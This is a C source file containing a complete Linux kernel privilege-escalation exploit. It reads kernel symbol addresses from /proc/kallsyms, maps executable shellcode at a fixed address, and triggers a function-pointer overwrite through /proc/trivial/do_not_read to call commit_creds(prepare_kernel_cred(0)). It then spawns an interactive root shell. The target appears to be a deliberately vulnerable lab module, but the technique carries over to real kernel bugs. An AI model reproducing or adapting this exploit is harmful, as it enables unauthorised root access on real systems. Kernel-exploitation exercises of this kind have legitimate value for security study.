#include <stdio.h>
#include <string.h>

#include <fcntl.h>

#include <unistd.h>
#include <sys/syscall.h>
#include <sys/mman.h>

#define PAGE_SIZE	0x1000		/* verified by getpagesize() */
#define PAGE_MASK	~(PAGE_SIZE - 1)
#define SIZE		1 + sizeof(void *)

/* The value the function pointer is overwritten with. */
#define ADDR			0x31337000

struct cred;
struct task_struct;

typedef struct cred *(*prepare_kernel_cred_t)(struct task_struct *daemon)
  __attribute__((regparm(3)));
typedef int (*commit_creds_t)(struct cred *new)
  __attribute__((regparm(3)));

prepare_kernel_cred_t prepare_kernel_cred;
commit_creds_t commit_creds;

/* Find a kernel symbol in /proc/kallsyms */
void *
get_symbol(char *name)
{
	FILE *f = fopen("/proc/kallsyms", "r");
	char c, sym[512];
	void *addr;
	int ret;

	while (fscanf(f, "%p %c %s\n", &addr, &c, sym) > 0) {
		if (!strcmp(sym, name))
			return addr;
	}

	return NULL;
}

/* This function will be executed in kernel mode. It has the effect of granting
 * this process root. */
void
get_root(void)
{
	commit_creds(prepare_kernel_cred(0));
}

FILE *
open_file(char *filename)
{
	FILE *fp;

	fp = fopen(filename, "r+");
	if (!fp)
		err(1, "fopen");

	return fp;
}

void
pop_shell(void)
{
	if (getuid() == 0) {
		char *args[] = {"/bin/sh", "-i", NULL};
		printf("[+] enjoy the shell :)\n");
		execve("/bin/sh", args, NULL);
	}
	warnx("failed to get root");
}

void
trigger_vuln(void)
{
	void *p = (void *)ADDR;
	FILE *fp = open_file("/proc/trivial/do_not_read");

	/* Where do we want to go today? */
	fwrite(&p, sizeof(p), 1, fp);
	fflush(fp);

	/* Oops! */
	fread(&p, sizeof(p), 1, fp);

	fclose(fp);
}

/* This function just does:
 * asm("mov $get_root, %eax; jmp *%eax;");
 *
 * The format of these instructions is:
 * mov addr, %eax	=> b8 little_endian(addr)
 * jmp *%eax		=> ff e0
 */
void
generate_shellcode(char *buf)
{
	long *p;

	*buf++ = '\xb8';

	/* mov $get_root, %eax */
	p = (long *)buf;
	*p = (long)&get_root;
	buf += sizeof(long *);

	/* jmp eax */
	*buf++ = '\xff';
	*buf++ = '\xe0';
}

void
setup_payload(unsigned addr)
{
	/* asm(mov $addr, %eax; jmp *%eax); is 7 bytes wide */
	unsigned size = 7;

	unsigned round_addr = addr & PAGE_MASK;
	unsigned diff       = addr - round_addr;
	unsigned len        = (size + diff + (PAGE_SIZE - 1)) & PAGE_MASK;

	char *buf = mmap((void *)round_addr, len, PROT_READ|PROT_WRITE|PROT_EXEC,
			MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, 0, 0);

	if (buf == MAP_FAILED)
		err(1, "mmap");

	printf("[+] mapped %p\n", buf);

	generate_shellcode(buf + diff);
}

void
hide_and_seek(void)
{
	prepare_kernel_cred	= get_symbol("prepare_kernel_cred");
	commit_creds		= get_symbol("commit_creds");

	if (!(prepare_kernel_cred && commit_creds))
		errx(1, "couldn't map kernel symbols");

	printf("[+] prepare_kernel_cred: %p\n", prepare_kernel_cred);
	printf("[+] commit_creds: %p\n", commit_creds);
}

int
main(void)
{
	/* Map out kernel structures. */
	hide_and_seek();

	/* Place our payload at the memory location the kernel will dereference. */
	setup_payload(ADDR);

	/* Make the kernel dereference our memeory. */
	trigger_vuln();

	/* Give ourselves a root shell. */
	pop_shell();

	warnx("exploit failed :(");

	return 1;
}
